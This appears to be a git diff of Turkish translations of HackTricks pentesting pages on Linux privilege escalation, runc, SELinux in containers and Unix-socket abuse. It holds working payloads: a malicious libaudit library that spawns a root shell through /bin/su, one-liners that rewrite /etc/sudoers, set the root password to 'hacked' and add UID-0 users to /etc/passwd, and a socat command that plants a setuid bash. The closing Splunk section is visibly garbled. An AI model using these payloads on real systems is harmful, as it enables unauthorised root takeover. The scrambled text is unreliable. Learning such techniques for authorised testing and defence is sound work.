Bu yük, hedef sistemde root ayrıcalıklarına sahip bir kullanıcının parolasını istemek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken root ayrıcalıklarına erişim sağlayabilirsiniz.
```bash
sudo -S su
```
### 4. Sudo Kullanıcı Parolası Olmadan (Root Olarak)
Bu yük, hedef sistemde root ayrıcalıklarına sahip bir kullanıcının parolasını girmeden root ayrıcalıklarına erişmek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken root ayrıcalıklarına erişim sağlayabilirsiniz.
```bash
sudo -n su
```
### 5. Sudo Kullanıcı Parolası İsteme (Diğer Kullanıcı Olarak)
Bu yük, hedef sistemde belirli bir kullanıcının parolasını istemek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken belirli bir kullanıcının ayrıcalıklarına erişim sağlayabilirsiniz.
```bash
sudo -S -u username command
```
### 6. Sudo Kullanıcı Parolası Olmadan (Diğer Kullanıcı Olarak)
Bu yük, hedef sistemde belirli bir kullanıcının parolasını girmeden belirli bir kullanıcının ayrıcalıklarına erişmek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken belirli bir kullanıcının ayrıcalıklarına erişim sağlayabilirsiniz.
```bash
sudo -n -u username command
```
### 7. Sudo Kullanıcı Parolası İsteme (Diğer Kullanıcı Olarak, Root Olarak)
Bu yük, hedef sistemde belirli bir kullanıcının parolasını istemek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken belirli bir kullanıcının root ayrıcalıklarına erişim sağlayabilirsiniz.
```bash
sudo -S -u username su
```
### 8. Sudo Kullanıcı Parolası Olmadan (Diğer Kullanıcı Olarak, Root Olarak)
Bu yük, hedef sistemde belirli bir kullanıcının parolasını girmeden belirli bir kullanıcının root ayrıcalıklarına erişmek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken belirli bir kullanıcının root ayrıcalıklarına erişim sağlayabilirsiniz.
```bash
sudo -n -u username su
```
## C
```c
//gcc payload.c -o payload
int main(void){
@ -120,18 +57,18 @@ execve(paramList[0], paramList, NULL);
return 0;
}
```
## Yetkileri yükseltmek için bir dosyayı üzerine yazma
## Yetkileri artırmak için bir dosyayı üzerine yazma
### Yaygın dosyalar
* Şifreli kullanıcıyı _/etc/passwd_ dosyasına ekle
* Şifreyi _/etc/shadow_ dosyasında değiştir
* Kullanıcıyı _/etc/sudoers_ dosyasına ekle
* Docker soketi üzerinden docker'ı kötüye kullan, genellikle _/run/docker.sock_ veya _/var/run/docker.sock_ içerisindedir
* _/etc/passwd_ dosyasına şifreli kullanıcı ekle
* _/etc/shadow_ dosyasında şifreyi değiştir
* _/etc/sudoers_ dosyasına kullanıcı ekle
* Genellikle _/run/docker.sock_ veya _/var/run/docker.sock_ içinde bulunan docker soketini kötüye kullan
### Bir kütüphaneyi üzerine yazma
Bazı ikili dosyalar tarafından kullanılan bir kütüphaneyi kontrol et, bu durumda `/bin/su`:
Bu durumda `/bin/su` olan bazı ikili dosyalar tarafından kullanılan bir kütüphaneyi kontrol et:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
@ -143,8 +80,8 @@ libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
Bu durumda `/lib/x86_64-linux-gnu/libaudit.so.1`'i taklit etmeyi deneyelim.\
Bu kütüphanenin **`su`** ikilisi tarafından kullanılan işlevlerini kontrol edin:
Bu durumda `/lib/x86_64-linux-gnu/libaudit.so.1` dosyasını taklit etmeye çalışalım.\
Bu kütüphanenin **`su`** ikili dosyası tarafından kullanılan fonksiyonlarını kontrol edin:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -152,7 +89,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
Semboller `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` ve `audit_fd` muhtemelen libaudit.so.1 kütüphanesinden gelmektedir. Zararlı paylaşılan kütüphane tarafından üzerine yazılacağı için, bu semboller yeni paylaşılan kütüphanede bulunmalıdır. Aksi takdirde, program sembolü bulamayacak ve sonlanacaktır.
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` ve `audit_fd` muhtemelen libaudit.so.1 kütüphanesindendir. libaudit.so.1 kötü niyetli paylaşılan kütüphane tarafından üzerine yazılacağından, bu semboller yeni paylaşılan kütüphanede mevcut olmalıdır, aksi takdirde program sembolü bulamayacak ve çıkacaktır.
```c
#include<stdio.h>
#include<stdlib.h>
@ -174,52 +111,35 @@ setgid(0);
system("/bin/bash");
}
```
Şimdi, sadece **`/bin/su`** çağırarak kök olarak bir kabuk elde edeceksiniz.
Şimdi, sadece **`/bin/su`** çağırarak root olarak bir shell elde edebilirsiniz.
## Betikler
## Scriptler
Kök kullanıcı bir şeyi çalıştırabilir mi?
Root'un bir şey çalıştırmasını sağlayabilir misiniz?
### **www-data için sudoers**
### **www-data sudoers'a**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Root şifresini değiştirme**
Root şifresini değiştirmek, bir sistemdeki root kullanıcısının şifresini güncellemek anlamına gelir. Bu, kötü niyetli bir saldırganın root erişimine sahip olmasını engellemek için önemli bir adımdır. Root şifresini değiştirmek için aşağıdaki adımları izleyebilirsiniz:
1. Terminali açın ve root kullanıcısına geçiş yapın:
```bash
sudo su
```
2. Yeni bir root şifresi belirleyin:
```bash
passwd
```
3. Yeni şifreyi girin ve onaylayın.
Artık root şifresi değiştirildi ve güncel şifre ile root erişimine sahip olabilirsiniz.
### **Root şifresini değiştir**
```bash
echo "root:hacked" | chpasswd
```
### /etc/passwd'ye yeni bir kök kullanıcı ekleyin
```bash
echo 'newroot:x:0:0:root:/root:/bin/bash' >> /etc/passwd
```
### Yeni root kullanıcısı ekle /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# RunC Yetki Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
## Temel bilgiler
## Temel Bilgiler
**runc** hakkında daha fazla bilgi edinmek isterseniz aşağıdaki sayfaya bakın:
**runc** hakkında daha fazla bilgi edinmek istiyorsanız, aşağıdaki sayfayı kontrol edin:
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
@ -24,7 +27,7 @@ HackTricks'i desteklemenin diğer yolları:
## PE
Eğer `runc`'ın ana bilgisayarda yüklü olduğunu bulursanız, **ana bilgisayarın kök / klasörünü bağlayarak bir konteyner çalıştırabilirsiniz**.
Eğer `runc`'ın hostta yüklü olduğunu bulursanız, **hostun kök / klasörünü monte eden bir konteyner çalıştırabilirsiniz**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
@ -49,19 +52,22 @@ mkdir rootfs
runc run demo
```
{% hint style="danger" %}
Bu her zaman çalışmayabilir çünkü runc'ın varsayılan işlemi kök olarak çalışmaktır, bu yüzden bir yetkisiz kullanıcı olarak çalıştırmak mümkün değildir (köksüz bir yapılandırmanız yoksa). Köksüz bir yapılandırmayı varsayılan yapmak genellikle iyi bir fikir değildir çünkü köksüz konteynerler içinde uygulanmayan birçok kısıtlama vardır.
{% endhint %}
Bu her zaman çalışmayacak çünkü runc'ın varsayılan işlemi root olarak çalışmaktır, bu nedenle onu yetkisiz bir kullanıcı olarak çalıştırmak basitçe mümkün değildir (kök olmayan bir yapılandırmanız yoksa). Kök olmayan bir yapılandırmayı varsayılan yapmak genellikle iyi bir fikir değildir çünkü kök olmayan konteynerler içinde, kök olmayan konteynerler dışında geçerli olmayan birçok kısıtlama vardır.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,25 +1,27 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
# Konteynerlerde SELinux
[Kırmızı şapkalı belgelerden giriş ve örnek](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[Redhat belgelerinden giriş ve örnek](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux), bir **etiketleme** **sistemidir**. Her **işlem** ve her **dosya** sistemi nesnesi bir **etikete** sahiptir. SELinux politikaları, bir **işlem etiketinin sistemdeki diğer tüm etiketlerle ne yapabileceğine dair kuralları** tanımlar.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) bir **etiketleme** **sistemidir**. Her **işlem** ve her **dosya** sistemi nesnesinin bir **etiketi** vardır. SELinux politikaları, bir **işlem etiketinin sistemdeki diğer etiketlerle ne yapabileceğine dair kurallar tanımlar.
Konteyner motorları, genellikle `container_t` olarak etiketlenen **tek bir sınırlı SELinux etiketiyle** konteyner işlemlerini başlatır ve ardından konteyneri içindeki konteyneri `container_file_t` olarak etiketler. SELinux politika kuralları temel olarak **`container_t` işlemlerinin yalnızca `container_file_t` olarak etiketlenmiş dosyaları okuyabileceğini/yazabileceğini/çalıştırabileceğini** söyler. Bir konteyner işlemi konteynerden kaçar ve ana makinedeki içeriğe yazmaya çalışırsa, Linux çekirdeği erişimi reddeder ve yalnızca konteyner işleminin `container_file_t` olarak etiketlenmiş içeriğe yazmasına izin verir.
Konteyner motorları, **konteyner işlemlerini tek bir sınırlı SELinux etiketiyle** başlatır, genellikle `container_t`, ve ardından konteynerin içindeki dosyaların `container_file_t` olarak etiketlenmesini sağlar. SELinux politika kuralları, **`container_t` işlemlerinin yalnızca `container_file_t` olarak etiketlenmiş dosyaları okuyup/yazabileceğini/çalıştırabileceğini** söyler. Eğer bir konteyner işlemi konteynerden kaçarak ana makinedeki içeriğe yazmaya çalışırsa, Linux çekirdeği erişimi reddeder ve yalnızca konteyner işleminin `container_file_t` olarak etiketlenmiş içeriğe yazmasına izin verir.
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -29,19 +31,4 @@ system_u:system_r:container_t:s0:c647,c780
```
# SELinux Kullanıcıları
Normal Linux kullanıcılarına ek olarak SELinux kullanıcıları bulunmaktadır. SELinux kullanıcıları, bir SELinux politikasının bir parçasıdır. Her Linux kullanıcısı, politikanın bir parçası olarak bir SELinux kullanıcısına eşlenir. Bu, Linux kullanıcılarının SELinux kullanıcıları üzerinde uygulanan kısıtlamaları ve güvenlik kurallarını ve mekanizmalarını devralmasını sağlar.
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
</details>
Normal Linux kullanıcılarının yanı sıra SELinux kullanıcıları da vardır. SELinux kullanıcıları, bir SELinux politikasının parçasıdır. Her Linux kullanıcısı, politikanın bir parçası olarak bir SELinux kullanıcısına eşlenir. Bu, Linux kullanıcılarının SELinux kullanıcılarına uygulanan kısıtlamaları ve güvenlik kurallarını ve mekanizmalarını miras almasını sağlar.

View file

@ -1,21 +1,23 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## Python ile Soket Bağlama Örneği
## Socket bağlama örneği Python ile
Aşağıdaki örnekte, bir **unix soketi** (`/tmp/socket_test.s`) oluşturulur ve alınan her şey `os.system` tarafından **çalıştırılır**. Bunu gerçek dünyada bulamayacağınızı biliyorum, ancak bu örneğin amacı, unix soketlerini kullanan bir kodun nasıl göründüğünü ve en kötü durumda girişi nasıl yöneteceğinizi görmektir.
Aşağıdaki örnekte bir **unix soketi oluşturuluyor** (`/tmp/socket_test.s`) ve **alınan** her şey `os.system` tarafından **çalıştırılacak**. Bunun doğada bulunmayacağını biliyorum, ancak bu örneğin amacı, unix soketlerini kullanan bir kodun nasıl göründüğünü ve en kötü durumda girişi nasıl yöneteceğimizi görmektir.
{% code title="s.py" %}
```python
@ -41,29 +43,30 @@ conn.close()
```
{% endcode %}
Kodu python kullanarak çalıştırın: `python s.py` ve **soketin nasıl dinlediğini kontrol edin**:
**Kodu** python ile çalıştırın: `python s.py` ve **socket'in nasıl dinlediğini kontrol edin**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit** (Sömürü)
Bir sistemdeki güvenlik açıklarını kullanarak yetkilendirme düzeyini yükseltmek veya hedef sisteme izinsiz erişim sağlamak için kullanılan bir tekniktir. Sistemdeki zayıf noktaları hedefleyerek, saldırganlar bu açıkları kullanarak hedef sistemi ele geçirebilir veya kontrol edebilirler. Sömürü, genellikle bir yazılım hatasını veya konfigürasyon hatasını hedef alır ve saldırganlara hedef sisteme erişim sağlama imkanı verir. Sömürü teknikleri, saldırganların hedef sistemi ele geçirmek veya yetkilendirme düzeyini yükseltmek için kullanabilecekleri çeşitli yöntemleri içerir. Bu yöntemler arasında buffer overflow, SQL enjeksiyonu, komut enjeksiyonu ve kimlik avı gibi teknikler bulunur. Sömürü, siber saldırganların hedef sistemdeki hassas verilere erişim sağlamasına ve kontrolünü ele geçirmesine olanak tanır. Bu nedenle, sistemlerin güvenliğini sağlamak için güncellemelerin düzenli olarak yapılması ve güvenlik açıklarının düzeltilmesi önemlidir.
**Sömürü**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,76 +1,82 @@
# Splunk LPE ve Kalıcılık
# Splunk LPE ve Süreklilik
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<dotsilp>
HackTricks'i desteklemenin diğer yolları:
<oummpr>SupportHackTricks</smmay>
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
